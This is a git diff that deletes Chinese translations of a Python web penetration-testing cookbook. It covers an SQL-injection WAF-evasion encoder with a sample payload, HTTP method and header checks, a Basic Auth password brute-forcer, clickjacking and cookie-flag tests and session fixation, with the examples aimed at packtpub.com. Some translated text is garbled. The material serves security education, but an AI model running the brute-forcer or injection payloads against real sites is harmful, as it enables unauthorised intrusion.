-values = {“ “: “%50”, “%20”: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}
-```
-
-我已经将原始字符串硬编码为一个示例，因此我们可以看到它是如何工作的。我已经包含了一个有效的 SQLi 字符串，其中嵌入了上述所有值，以证明其用途：
-
-```
-originalstring = “'%20UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#”
-```
-
-我们创建原始字符串的第二个版本，以便为每个替换创建累积结果和独立结果：
-
-```
-secondoriginalstring = originalstring
-```
-
-我们依次获取每个字典项，并将每个键和值分别分配给参数键和值：
-
-```
-for key, value in values.iteritems():
-```
-
-我们查看初始项是否存在，如果存在，则用键值替换它。例如，如果存在空格，我们将其替换为`%50`，这是编码的制表符 URL：
-
-```
-if key in originalstring:
- newstring = originalstring.replace(key, value)
-```
-
-每次迭代，这个字符串都将重置为我们在脚本开始时设置的原始值。然后，我们将该字符串添加到前面创建的列表中：
-
-```
-subs.append(newstring)
-```
-
-我们使用迭代字符串执行与前面相同的操作，该字符串每一次都会替换自身，以创建一个多编码版本：
-
-```
-if key in secondoriginalstring:
- secondoriginalstring = secondoriginalstring.replace(key, value)
- subs.append(secondoriginalstring)
-```
-
-最后，我们将列表转换为一个集合并逐行返回给用户，从而使列表唯一：
-
-```
-subset = set(subs)
-for line in subs:
- print line
-```
-
-## 还有更多…
-
-同样，可以将其制作为内部函数，而不是作为独立脚本使用。这也可以通过使用以下脚本来实现：
-
-```
-def encoder(string):
-
-subs = []
-values = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}
-originalstring = “' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin'”
-secondoriginalstring = originalstring
-for key, value in values.iteritems():
- if key in originalstring:
- newstring = originalstring.replace(key, value)
- subs.append(newstring)
- if key in secondoriginalstring:
- secondoriginalstring = secondoriginalstring.replace(key, value)
- subs.append(secondoriginalstring)
-
-subset = set(subs)
-return subset
-```
\ No newline at end of file
diff --git a/trans/py-pentest-dev/22.md b/trans/py-pentest-dev/22.md
deleted file mode 100644
index 998b8c4..0000000
--- a/trans/py-pentest-dev/22.md
+++ /dev/null
@@ -1,686 +0,0 @@
-# 第 5 章，Web 头操作
-
-在本章中，我们将介绍以下主题：
-
-* 测试 HTTP 方法
-* 通过 HTTP 头对服务器进行指纹识别
-* 测试不安全的报头
-* 通过授权标头强制登录
-* 测试点击劫持漏洞
-* 通过欺骗用户代理识别替代站点
-* 测试不安全的 cookie 标志
-* 通过 cookie 注入进行会话固定
-
-# 导言
-
-渗透测试 web 服务器的一个关键领域是深入关注服务器处理请求和提供响应的能力。如果您正在对标准 web 服务器部署（例如 Apache 或 Nginx）进行渗透测试，那么您将希望集中精力破坏已部署的配置，并枚举/操作站点内容。如果您正在进行渗透测试的是一个定制的 web 服务器，那么最好随身携带一份 HTTP RFC 副本（可在[获得）http://tools.ietf.org/html/rfc7231](http://tools.ietf.org/html/rfc7231) ），并额外测试 web 服务器如何处理损坏的数据包或意外请求。
-
-本章将重点介绍如何创建操作请求的方法，以揭示底层 web 技术并解析响应，从而突出常见问题或关键领域以供进一步测试。
-
-# 测试 HTTP 方法
-
-开始测试 web 服务器的一个好地方是在`HTTP`请求的开头，通过枚举`HTTP`方法。`HTTP`方法由客户端发送，并向 web 服务器指示客户端期望的操作类型。
-
-按照 RFC 7231 中的规定，所有 web 服务器必须支持`GET`和`HEAD`方法，并且所有其他方法都是可选的。除了最初的`GET`和`HEAD`方法之外，还有很多常用方法，因此这是一个很好的测试重点，因为每台服务器都将以不同的方式处理请求和发送响应。
-
-值得注意的一个有趣的`HTTP`方法是`TRACE`，因为它的可用性导致**跨站点跟踪**（**XST**）。TRACE 是一种回送测试，基本上将收到的请求回送给用户。这意味着它可以用于跨站点脚本攻击（在本例中称为跨站点跟踪）。为此，攻击者让受害者发送一个`TRACE`请求，并在主体中包含 JavaScript 负载，然后在返回时在本地执行该请求。现代浏览器现在内置了防御系统，通过阻止通过 JavaScript 发出的跟踪请求来保护用户免受这些攻击，因此这种技术现在只适用于旧浏览器或利用 Java 或 Flash 等其他技术。
-
-## 怎么做…
-
-在这个方法中，我们将连接到目标 web 服务器，并尝试列举各种可用的`HTTP`方法。我们还将寻找`TRACE`方法的存在，并突出显示它（如果可用）：
-
-```
-import requests
-
-verbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE', 'TEST']
-for verb in verbs:
- req = requests.request(verb, 'http://packtpub.com')
- print verb, req.status_code, req.reason
- if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print 'Possible Cross Site Tracing vulnerability found'
-```
-
-## 它是如何工作的…
-
-第一行导入请求库；这将在本节中大量使用：
-
-```
-import requests
-```
-
-下一行创建了我们将要发送的`HTTP`方法数组。请注意标准的方法-`GET`、`POST`、`PUT`、`HEAD`、`DELETE,`和`OPTIONS`-然后是非标准的`TEST`方法。添加此选项是为了检查服务器如何处理其不期望的输入。一些 web 框架将非标准动词视为`GET`请求并相应地响应。这是绕过防火墙的一个好方法，因为防火墙可能有一个严格的方法列表来匹配，而不是处理来自意外方法的请求：
-
-```
-verbs = ['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS', 'TRACE', 'CONNECT', 'TEST']
-```
-
-接下来是脚本的主循环。这部分发送 HTTP 数据包；在本例中，指向目标`http://packtpub.com`web 服务器。它打印出方法和响应状态代码以及原因：
-
-```
-for verb in verbs:
- req = requests.request(verb, 'http://packtpub.com')
- print verb, req.status_code, req.reason
-```
-
-最后，有一段代码专门测试 XST：
-
-```
-if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print 'Possible Cross Site Tracing vulnerability found'
-```
-
-此代码在发送`TRACE`调用时检查服务器响应，检查响应是否包含请求文本。
-
-运行脚本将提供以下输出：
-
-
-
-在这里，我们可以看到 web 服务器正确地处理了前五个请求，为所有这些方法返回了一个`200 OK`响应。`TRACE`响应返回`405 Not Allowed`，表明 web 服务器已明确拒绝该响应。目标服务器的一个有趣之处在于，它为`TEST`方法返回`200 OK`响应。这意味着服务器正在以不同的方法处理`TEST`请求；例如，它将其视为`GET`请求。如前所述，这是绕过某些防火墙的好方法，因为它们可能不会处理意外的`TEST`方法。
-
-## 还有更多…
-
-在这个方法中，我们展示了如何测试目标 web 服务器的 XST 漏洞，并测试它如何处理各种`HTTP`方法。该脚本可以通过扩展示例`HTTP`方法数组来进一步扩展，以包括各种其他有效和无效数据值；也许您可以尝试发送 Unicode 数据来测试 web 服务器如何处理意外的字符集，或者发送很长的 HTTP 方法，并测试自定义 web 服务器中的缓冲区溢出。这些数据的一个很好的来源是查看[第 3 章](20.html "Chapter 3. Vulnerability Identification")、*漏洞识别*中的模糊脚本，例如，使用 Mozilla FuzzDB 的有效负载。
-
-# 通过 HTTP 头对服务器进行指纹识别
-
-我们将关注的 HTTP 协议的下一部分是 HTTP 头。在 web 服务器的请求和响应中都可以找到，它们在客户端和服务器之间传递额外的信息。任何有额外数据的区域都是解析服务器信息和查找潜在问题的好地方。
-
-## 怎么做…
-
-以下是一个简单的标头抓取脚本，它将解析响应标头，以尝试识别正在使用的 web 服务器技术：
-
-```
-import requests
-
-req = requests.get('http://packtpub.com')
-headers = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code']
-
-for header in headers:
- try:
- result = req.headers[header]
- print '%s: %s' % (header, result)
- except Exception, error:
- print '%s: Not found' % header
-```
-
-## 它是如何工作的…
-
-脚本的第一部分通过熟悉的`requests`库向目标 web 服务器发出一个简单的`GET`请求：
-
-```
-req = requests.get('http://packtpub.com')
-```
-
-接下来，我们将生成一个要查找的标题数组：
-
-```
-headers = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country- Code']
-```
-
-在此脚本中，我们在主代码周围使用了 try/except 块：
-
-```
-try:
- result = req.headers[header]
- print '%s: %s' % (header, result)
-except:
-print '%s: Not found' % header
-```
-
-我们需要处理这个错误，因为头不是必需的；因此，如果我们试图从数组中检索不存在的头的键，Python 将引发异常。为了克服这个问题，如果响应中没有指定的头，我们只需打印出`Not found`。
-
-以下是本例中针对目标服务器运行脚本的输出截图：
-
-
-
-第一个输出行显示`Server`标题，该标题显示底层 web 服务器技术。这是一个查找易受攻击的 web 服务器版本的好地方，但请注意，可以禁用并欺骗此头，因此不要明确依赖此来猜测目标服务器平台。
-
-`Date`标头包含有用的信息，可用于猜测服务器的位置。例如，您可以计算出相对于本地时区的时差，以粗略指示其位置。
-
-`Via`头由传出和传入的代理使用，并将显示代理名称，在本例中为`1.1 varnish`。
-
-`X-Powered-By`是 PHP 等常见 web 框架中使用的标准标头。默认的 PHP 安装将使用 PHP 和版本号进行响应，使其成为另一个很好的侦察目标。
-
-最后一行打印`X-Country-Code`短代码，这是另一条有用的信息，可以识别服务器所在的位置。
-
-请注意，所有这些头文件都可以在服务器端设置或覆盖，因此不要明确依赖这些信息，并且要小心直接解析来自远程服务器的数据；甚至这些头也可能包含恶意值。
-
-## 还有更多…
-
-此脚本当前包含服务器版本，但可以进一步扩展以查询在线 CVE 数据库，如[https://cve.mitre.org/cve/](https://cve.mitre.org/cve/) ，查找影响 web 服务器版本的漏洞。
-
-另一种可以用来增加指纹识别可信度的技术是检查响应头的顺序。例如，Microsoft IIS 在`Date`头之前返回`Server`头，而 Apache 返回`Date`，然后返回`Server`。这种稍有不同的排序可用于验证您可能从该配方中的标头值推断出的任何服务器版本。
-
-# 对不安全集管的测试
-
-我们已经看到了 HTTP 响应如何成为枚举底层 web 框架的一个重要信息源。我们现在将通过使用`HTTP`头信息来测试不安全的 web 服务器配置，并标记任何可能导致漏洞的内容，从而将此提升到下一个级别。
-
-## 准备好了吗
-
-对于这个方法，您将需要一个 URL 列表，以测试不安全的头。将这些内容保存到一个名为`urls.txt`的文本文件中，每个 URL 都位于新的一行，与您的食谱一起。
-
-## 怎么做…
-
-以下代码将突出显示从每个目标 URL 的 HTTP 响应中接收到的任何易受攻击的头：
-
-```
-import requests
-
-urls = open("urls.txt", "r")
-for url in urls:
- url = url.strip()
- req = requests.get(url)
- print url, 'report:'
-
- try:
- xssprotect = req.headers['X-XSS-Protection']
- if xssprotect != '1; mode=block':
- print 'X-XSS-Protection not set properly, XSS may be possible:', xssprotect
- except:
- print 'X-XSS-Protection not set, XSS may be possible'
-
- try:
- contenttype = req.headers['X-Content-Type-Options']
- if contenttype != 'nosniff':
- print 'X-Content-Type-Options not set properly:', contenttype
- except:
- print 'X-Content-Type-Options not set'
-
- try:
- hsts = req.headers['Strict-Transport-Security']
- except:
- print 'HSTS header not set, MITM attacks may be possible'
-
- try:
- csp = req.headers['Content-Security-Policy']
- print 'Content-Security-Policy set:', csp
- except:
- print 'Content-Security-Policy missing'
-
- print '----'
-```
-
-## 它是如何工作的…
-
-此配方配置用于测试多个站点，因此第一部分从文本文件读入 URL 并打印出当前目标：
-
-```
-urls = open("urls.txt", "r")
-for url in urls:
- url = url.strip()
- req = requests.get(url)
- print url, 'report:'
-```
-
-然后在 try/except 块内测试每个标头。这类似于上一个配方，其中需要此编码样式，因为标题不是必需的。如果我们试图为不存在的头引用一个键，Python 将引发一个异常。
-
-第一个`X-XSS-Protection`头应设置为`1; mode=block`，以便在浏览器中启用 XSS 保护。如果标题与该格式不明确匹配或未设置，脚本将打印警告：
-
-```
-try:
- xssprotect = req.headers['X-XSS-Protection']
- if 'xssprotect' != '1; mode=block':
- print 'X-XSS-Protection not set properly, XSS may be possible'
- except:
- print 'X-XSS-Protection not set, XSS may be possible'
-```
-
-下一个`X-Content-Type-Options`头应该设置为`nosniff`，以防止 MIME 类型混淆。MIME 类型指定目标资源的内容，例如，text/plain 表示远程资源应该是文本文件。如果未指定资源的 MIME 类型，某些 web 浏览器会尝试猜测该类型。这可能导致跨站点脚本攻击；如果资源包含恶意脚本，但它仅指示为纯文本文件，则它可能会绕过内容筛选器并被执行。如果未设置标题或响应与`nosniff`不明确匹配，此检查将打印警告：
-
-```
-try:
- contenttype = req.headers['X-Content-Type-Options']
- if contenttype != 'nosniff':
- print 'X-Content-Type-Options not set properly'
- except:
- print 'X-Content-Type-Options not set'
-```
-
-下一个 Ty0T0-报头用于强制在 HTTPS 信道上进行通信，以防止 Apple T1。缺少此标头意味着 MITM 攻击可能会将通信通道降级为 HTTP：
-
-```
- try:
- hsts = req.headers['Strict-Transport-Security']
- except:
- print 'HSTS header not set, MITM attacks may be possible'
-```
-
-最后一个`Content-Security-Policy`标题用于限制可以加载到网页上的资源类型，例如，限制 JavaScript 可以运行的位置：
-
-```
- try:
- csp = req.headers['Content-Security-Policy']
- print 'Content-Security-Policy set:', csp
- except:
- print 'Content-Security-Policy missing'
-```
-
-配方的输出显示在以下屏幕截图中：
-
-
-
-# 通过授权头强制登录
-
-许多网站使用 HTTP 基本身份验证来限制对内容的访问。这在路由器等嵌入式设备中尤其普遍。Python`requests`库内置了对基本身份验证的支持，为创建身份验证暴力脚本提供了一种简单的方法。
-
-## 准备好了吗
-
-在创建此配方之前，您需要一个密码列表来尝试进行身份验证。创建一个名为`passwords.txt`的本地文本文件，将每个密码放在新行上。查看[第 2 章](19.html "Chapter 2. Enumeration")、*枚举*中的暴力强制密码，获取在线资源中的密码列表。此外，请花一些时间查看目标服务器，因为您需要知道它如何响应失败的登录请求，以便我们能够区分暴力何时起作用。
-
-## 怎么做…
-
-以下代码将尝试通过基本身份验证强行进入网站：
-
-```
-import requests
-from requests.auth import HTTPBasicAuth
-
-with open('passwords.txt') as passwords:
- for password in passwords.readlines():
- password = password.strip()
- req = requests.get('http://packtpub.com/admin_login.html', auth=HTTPBasicAuth('admin', password))
- if req.status_code == 401:
- print password, 'failed.'
- elif req.status_code == 200:
- print 'Login successful, password:', password
- break
- else:
- print 'Error occurred with', password
- break
-```
-
-## 它是如何工作的…
-
-此脚本的第一部分逐行读取密码列表。然后向登录页面发送 HTTP`GET`请求：
-
-```
-req = requests.get('http://packtpub.com/admin_login.html', auth=HTTPBasicAuth('admin', password))
-```
-
-此请求有一个额外的`auth`参数，其中包含用户名`admin`和从`passwords.txt`文件读取的`password`。发送带有基本`Authorization`头的 HTTP 请求时，原始数据如下所示：
-
-
-
-注意，在`Authorization`报头中，数据以编码格式发送，例如`YWRtaW46cGFzc3dvcmQx`。这是`username:password`的`base64`编码形式的用户名和密码；`requests.auth.HTTPBasicAuth`类只是为我们做这个转换。这可以通过使用`base64`库进行验证，如以下屏幕截图所示：
-
-
-
-了解这些信息意味着您仍然可以在没有外部请求库的情况下运行脚本；相反，它使用`base64`默认库手动创建`Authorization`头。
-
-以下是暴力脚本的屏幕截图：
-
-
-
-## 还有更多…
-
-在这个示例中，我们在授权请求中使用了一个固定的 admin 用户名，这是众所周知的。如果这是未知的，您可以创建一个`username.txt`文本文件，并循环遍历其中的每一行，就像我们对密码文本文件所做的那样。请注意，这是一个慢得多的过程，会向目标站点创建大量 HTTP 请求，这很可能会将您列入黑名单，除非您实施速率限制。
-
-## 另见
-
-查看[第 2 章](19.html "Chapter 2. Enumeration")、*枚举*中的*检查用户名有效性*和*强制用户名*配方，了解有关用户名和密码组合的更多想法。
-
-# 点击劫持漏洞测试
-
-点击劫持是一种欺骗用户在目标站点上执行操作而不被他们察觉的技术。这是由恶意用户在合法网站的顶部放置一个隐藏的覆盖层来完成的，因此当受害者认为他们正在与合法网站交互时，他们实际上是在单击隐藏的顶部覆盖层上的隐藏项。这种攻击可以通过这样一种方式进行精心设计，即它会导致受害者键入凭据或单击并拖动项目，而不会意识到它们正在受到攻击。这些攻击可以用来攻击银行网站，诱骗受害者转移资金，在社交网站中也很常见，目的是获得更多的关注者或喜欢者，尽管大多数网站现在已经采取了防御措施。
-
-## 怎么做…
-
-网站可以通过两种主要方式防止点击劫持：一种是设置`X-FRAME-OPTIONS`标题，告诉浏览器如果网站在一个框架内，就不要呈现该网站；另一种是使用 JavaScript 跳出框架（通常称为框架破坏）。此配方将向您展示如何检测这两种防御，以便您能够识别既没有：
-
-```
-import requests
-from ghost import Ghost
-import logging
-import os
-
-URL = 'http://packtpub.com'
-req = requests.get(URL)
-
-try:
- xframe = req.headers['x-frame-options']
- print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible'
-except:
- print 'X-FRAME-OPTIONS missing'
-
-print 'Attempting clickjacking...'
-
-html = '''
-
-
-
-
-'''
-
-html_filename = 'clickjack.html'
-f = open(html_filename, 'w+')
-f.write(html)
-f.close()
-
-log_filename = 'test.log'
-fh = logging.FileHandler(log_filename)
-ghost = Ghost(log_level=logging.INFO, log_handler=fh)
-page, resources = ghost.open(html_filename)
-
-l = open(log_filename, 'r')
-if 'forbidden by X-Frame-Options.' in l.read():
- print 'Clickjacking mitigated via X-FRAME-OPTIONS'
-else:
- href = ghost.evaluate('document.location.href')[0]
- if html_filename not in href:
- print 'Frame busting detected'
- else:
- print 'Frame busting not detected, page is likely vulnerable to clickjacking'
-l.close()
-
-logging.getLogger('ghost').handlers[0].close()
-os.unlink(log_filename)
-os.unlink(html_filename)
-```
-
-## 它是如何工作的…
-
-这个脚本的第一部分检查第一个点击劫持防御，`X-FRAME-OPTIONS`标题，就像我们在前面的配方中看到的一样。`X-FRAME-OPTIONS`取三个值：`DENY`、`SAMEORIGIN`或`ALLOW-FROM `。这些值中的每一个都提供了不同级别的防止点击劫持的保护，因此，在本配方中，我们试图检测是否存在以下缺陷：
-
-```
-try:
- xframe = req.headers['x-frame-options']
- print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible'
-except:
- print 'X-FRAME-OPTIONS missing'
-```
-
-代码的下一部分创建一个本地 html`clickjack.html`文件，其中包含一些非常简单的 html 代码行，并将它们保存到本地`clickjack.html`文件中：
-
-```
-html = '''
-
-
-
-
-'''
-
-html_filename = 'clickjack.html'
-f = open(html_filename, 'w+')
-f.write(html)
-f.close()
-```
-
-此 HTML 代码创建一个 iframe，将源设置为目标网站。HTML 文件将加载到 ghost 中，以尝试呈现网站并检测目标网站是否加载到 iframe 中。Ghost 是一个 WebKit 渲染引擎，因此它应该类似于在 Chrome 浏览器中加载站点时会发生的情况。
-
-下一部分设置重影日志以重定向到本地日志文件（默认为打印到`stdout`：
-
-```
-log_filename = 'test.log'
-fh = logging.FileHandler(log_filename)
-ghost = Ghost(log_level=logging.INFO, log_handler=fh)
-```
-
-下一行在 ghost 中呈现本地 HTML 页面，并包含目标页面请求的任何额外资源：
-
-```
-page, resources = ghost.open(html_filename)
-```
-
-然后，我们打开日志文件并检查`X-FRAME-OPTIONS`错误：
-
-```
-l = open(log_filename, 'r')
-if 'forbidden by X-Frame-Options.' in l.read():
- print 'Clickjacking mitigated via X-FRAME-OPTIONS'
-```
-
-脚本的下一部分检查框架破坏；如果 iframe 有 JavaScript 代码来检测它被加载到 iframe 中，它将跳出框架，导致页面重定向到目标网站。我们可以通过使用`ghost.evaluate`在 ghost 中执行 JavaScript 并读取当前位置来检测：
-
-```
-href = ghost.evaluate('document.location.href')[0]
-```
-
-代码的最后一部分用于清理、关闭任何打开的文件或任何打开的日志处理程序，以及删除临时 HTML 和日志文件：
-
-```
-l.close()
-
-logging.getLogger('ghost').handlers[0].close()
-os.unlink(log_filename)
-os.unlink(html_filename)
-```
-
-如果脚本输出`Frame busting not detected, page is likely vulnerable to clickjacking`，则目标网站可以在隐藏的 iframe 中呈现，并用于点击劫持攻击。以下屏幕截图显示了来自易受攻击站点的日志示例：
-
-
-
-如果在 web 浏览器中查看生成的 clickjack.html 文件，它将确认目标 web 服务器可以加载到 iframe 中，因此容易受到 clickjack 的影响，如以下屏幕截图所示：
-
-
-
-# 通过欺骗用户代理识别替代站点
-
-一些网站根据您用来查看内容的浏览器或设备限制访问或显示不同的内容。例如，网站可能会为从 iPhone 浏览的用户显示面向移动的主题，或者向使用旧版本易受攻击的 Internet Explorer 的用户显示警告。这是一个发现漏洞的好地方，因为这些漏洞可能没有经过严格的测试，甚至被开发人员遗忘。
-
-## 怎么做…
-
-在本食谱中，我们将向您展示如何欺骗您的用户代理，使您在网站上看起来好像在使用不同的设备试图发现替代内容：
-
-```
-import requests
-import hashlib
-
-user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36',
-'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4',
-'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)',
-'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
-
-responses = {}
-for name, agent in user_agents.items():
- headers = {'User-Agent' : agent}
- req = requests.get('http://packtpub.com', headers=headers)
- responses[name] = req
-
-md5s = {}
-for name, response in responses.items():
- md5s[name] = hashlib.md5(response.text.encode('utf- 8')).hexdigest()
-
-for name,md5 in md5s.iteritems():
- if name != 'Chrome on Windows 8.1':
- if md5 != md5s['Chrome on Windows 8.1']:
- print name, 'differs from baseline'
- else:
- print 'No alternative site found via User-Agent spoofing:', md5
-```
-
-## 它是如何工作的…
-
-我们首先设置一组用户代理，每个密钥都有一个友好的名称：
-
-```
-user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36',
-'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4',
-'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)',
-'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
-```
-
-这里有四个用户代理：Windows8.1 上的 Chrome，iOS 上的 Safari，WindowsXP 上的 InternetExplorer6，最后是 Googlebot。这提供了广泛的浏览器和示例，您希望在每个请求后面找到不同的内容。列表中的最后一个用户代理 Googlebot 是 Google 为其搜索引擎检索数据时发送的爬虫程序。
-
-下一部分循环遍历每个用户代理，并在请求中设置`User-Agent`头：
-
-```
-responses = {}
-for name, agent in user_agents.items():
- headers = {'User-Agent' : agent}
-```
-
-下一节使用熟悉的请求库发送 HTTP 请求，并使用用户友好的名称作为键将每个响应存储在响应数组中：
-
-```
-req = requests.get('http://www.google.com', headers=headers)
- responses[name] = req
-```
-
-代码的下一部分创建一个`md5s`数组，然后遍历响应，获取`response.text`文件。由此，它生成响应内容的`md5`散列，并将其存储到`md5s`数组中：
-
-```
-md5s = {}
-for name, response in responses.items():
- md5s[name] = hashlib.md5(response.text.encode('utf- 8')).hexdigest()
-```
-
-代码的最后一部分遍历`md5s`数组，并将每个项目与原始基线请求进行比较，在本配方`Chrome on Windows 8.1`中：
-
-```
-for name,md5 in md5s.iteritems():
- if name != 'Chrome on Windows 8.1':
- if md5 != md5s['Chrome on Windows 8.1']:
- print name, 'differs from baseline'
- else:
- print 'No alternative site found via User-Agent spoofing:', md5
-```
-
-我们对响应文本进行了散列处理，以使生成的数组保持较小，从而减少内存占用。您可以通过内容直接比较每个响应，但这样会比较慢，并且需要使用更多内存来处理。
-
-如果 web 服务器的响应与 Windows 8.1 上的 Chrome 基线响应不同，此脚本将打印出用户代理友好名称，如以下屏幕截图所示：
-
-
-
-## 另见
-
-此配方基于能够操作 HTTP 请求中的头。查看[第 3 章](20.html "Chapter 3. Vulnerability Identification")、*漏洞识别*中的*基于标头的跨站点脚本编制*和*Shellshock checking*部分，了解更多可传递到标头的数据示例。
-
-# 测试不安全的 cookie 标志
-
-HTTP 协议下一个感兴趣的主题是 cookies。由于 HTTP 是一种无状态协议，Cookie 提供了一种在客户端存储持久数据的方法。这允许 web 服务器通过在会话长度内将数据持久化到 cookie 来进行会话管理。
-
-Cookie 是在 HTTP 响应中使用`Set-Cookie`头从 web 服务器设置的。然后通过`Cookie`头将它们发送回服务器。本食谱将介绍如何审核网站设置的 cookies，以验证它们是否具有安全属性。
-
-## 怎么做…
-
-以下是枚举目标站点上设置的每个 cookie 并标记存在的任何不安全设置的方法：
-
-```
-import requests
-
-req = requests.get('http://www.packtpub.com')
-for cookie in req.cookies:
- print 'Name:', cookie.name
- print 'Value:', cookie.value
-
- if not cookie.secure:
- cookie.secure = '\x1b[31mFalse\x1b[39;49m'
- print 'Secure:', cookie.secure
-
- if 'httponly' in cookie._rest.keys():
- cookie.httponly = 'True'
- else:
- cookie.httponly = '\x1b[31mFalse\x1b[39;49m'
- print 'HTTPOnly:', cookie.httponly
-
- if cookie.domain_initial_dot:
- cookie.domain_initial_dot = '\x1b[31mTrue\x1b[39;49m'
- print 'Loosly defined domain:', cookie.domain_initial_dot, '\n'
-```
-
-## 它是如何工作的…
-
-我们枚举从 web 服务器发送的每个 cookie 并检查它们的属性。前两个属性是 cookie 的`name`和`value`：
-
-```
- print 'Name:', cookie.name
- print 'Value:', cookie.value
-```
-
-然后检查 cookie 上的`secure`标志：
-
-```
-if not cookie.secure:
- cookie.secure = '\x1b[31mFalse\x1b[39;49m'
- print 'Secure:', cookie.secure
-```
-
-cookies 上的`Secure`标志表示它仅通过 HTTPS 发送。这对于用于身份验证的 cookie 是很好的，因为这意味着，例如，如果有人正在监视开放的网络流量，就不能通过网络嗅探 cookie。
-
-还要注意，`\x1b[31m`代码是一种特殊的 ANSI 转义代码，用于更改终端字体的颜色。这里，我们用红色突出显示了不安全的标题。`\x1b[39;49m`代码将颜色重置回默认值。更多信息，请参见 ANSI 上的维基百科页面[http://en.wikipedia.org/wiki/ANSI_escape_code](http://en.wikipedia.org/wiki/ANSI_escape_code) 。
-
-下一步检查的是`httponly`属性：
-
-```
- if 'httponly' in cookie._rest.keys():
- cookie.httponly = 'True'
- else:
- cookie.httponly = '\x1b[31mFalse\x1b[39;49m'
- print 'HTTPOnly:', cookie.httponly
-```
-
-如果设置为`True`，则表示 JavaScript 无法访问 cookie 的内容，并将其发送到浏览器，只能由浏览器读取。这是用来抵御 XSS 尝试的，因此在进行渗透测试时，缺少此 cookie 属性是一件好事。
-
-我们最后检查 cookie 中的域，看看它是否以点开头：
-
-```
-if cookie.domain_initial_dot:
- cookie.domain_initial_dot = '\x1b[31mTrue\x1b[39;49m'
- print 'Loosly defined domain:', cookie.domain_initial_dot, '\n'
-```
-
-如果 cookie 的`domain`属性以点开头，则表示 cookie 跨所有子域使用，因此可能超出预期范围。
-
-以下屏幕截图显示了目标网站的不安全标志如何以红色突出显示：
-
-
-
-## 还有更多…
-
-我们之前已经看到了如何通过提取标题来列举用于服务网站的技术。某些框架也在 cookie 中存储信息，例如，PHP 创建了一个名为**PHPSESSION**的 cookie，用于存储会话数据。因此，此数据的存在表明使用了 PHP，然后可以进一步枚举服务器，以测试其是否存在已知的 PHP 漏洞。
-
-# 通过 cookie 注入进行会话固定
-
-会话固定是一个依赖于会话 ID 重复使用的漏洞。首先，攻击者必须能够通过在其客户端上设置 cookie 或已经知道受害者会话 ID 的值来强制受害者使用特定会话 ID。然后，当受害者进行身份验证时，客户端上的 cookie 保持不变。因此，攻击者知道会话 ID，现在可以访问受害者的会话。
-
-## 准备好了吗
-
-此方法需要对目标站点进行一些初始侦察，以确定其如何执行身份验证，例如通过`POST`请求中的数据或通过基本`auth`进行验证。它还需要一个有效的用户帐户进行身份验证。
-
-## 怎么做…
-
-此配方将通过 cookie 注入测试会话固定：
-
-```
-import requests
-
-url = 'http://www.packtpub.com/'
-req = requests.get(url)
-if req.cookies:
- print 'Initial cookie state:', req.cookies
- cookie_req = requests.post(url, cookies=req.cookies, auth=('user1', 'supersecretpasswordhere'))
- print 'Authenticated cookie state:', cookie_req.cookies
-
- if req.cookies == cookie_req.cookies:
- print 'Session fixation vulnerability identified'
-```
-
-## 它是如何工作的…
-
-这个剧本有两个阶段；第一步是向目标网站发送初始`get`请求，然后显示收到的 cookies：
-
-```
-req = requests.get(url)
-print 'Initial cookie state:', req.cookies
-```
-
-脚本的第二阶段向目标站点发送另一个请求，这次使用有效的用户凭据进行身份验证：
-
-```
-cookie_req = requests.post(url, cookies=req.cookies, auth=('user1', 'supersecretpasswordhere'))
-```
-
-请注意，我们将请求 cookie 设置为我们在前面的初始`GET`请求中收到的 cookie。
-
-脚本结束时，打印出最终 cookie 状态，并在经过身份验证的 cookie 与初始请求中发送的 cookie 匹配时打印警告：
-
-```
-print 'Authenticated cookie state:', cookie_req.cookies
-
-if req.cookies == cookie_req.cookies:
- print 'Session fixation vulnerability identified'
-```
-
-## 还有更多…
-
-Cookie 是另一个由用户控制并由 web 服务器解析的数据源。与标头类似，这使它成为测试 XSS 漏洞的好地方。尝试将 XSS 有效负载添加到 cookie 数据并将其发送到目标服务器，以查看它如何处理数据。请记住，Cookie 可以从 web 服务器后端读入，也可以打印到日志中，因此可以针对日志读取器使用 XSS（例如，如果管理员稍后读取）。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/23.md b/trans/py-pentest-dev/23.md
deleted file mode 100644
index 6a2c2d7..0000000
--- a/trans/py-pentest-dev/23.md
+++ /dev/null
@@ -1,889 +0,0 @@
-# 第六章图像分析与处理
-
-在本章中，我们将介绍以下配方：
-
-* 使用 LSB 隐写术隐藏消息
-* 提取 LSB 中隐藏的消息
-* 在图像中隐藏文本
-* 从图像中提取文本
-* 使用隐写术的命令和控制
-
-# 导言
-
